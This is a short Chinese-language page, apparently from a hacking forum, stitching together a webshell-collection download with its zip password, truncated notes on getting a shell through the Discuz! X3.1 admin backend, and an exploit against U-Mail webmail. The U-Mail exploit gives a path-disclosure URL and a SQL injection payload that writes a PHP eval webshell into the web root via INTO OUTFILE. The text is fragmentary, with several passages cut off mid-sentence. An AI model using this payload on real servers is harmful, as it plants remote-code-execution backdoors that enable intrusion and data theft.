
WEBSHELL箱子系统.zip 解压密码 lanxiang

之前写的几个后台拿shell,Discuz!忽略了,但新版本Discuz! X3.1 Release 20140301实际上有所加强,但是真的修复了之前提到的问题吗?
Discuz!大概做了下面几个改动:
1.统计代码处,对
2.首页文件名限制了".",有点时,返回【setting_functions_makehtml_indexname_invalid】,防止解析漏洞拿shell,。
3.专题HTML文件的存放目录做了...

加入
webmail/userapply.php?execadd=333&DomainID=111
直接爆出物理地址
然后将 aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,11,12,13,14 into outfile 'D:/umail/WorldClient/html/saknc.php'#
用base64编译一下
YW...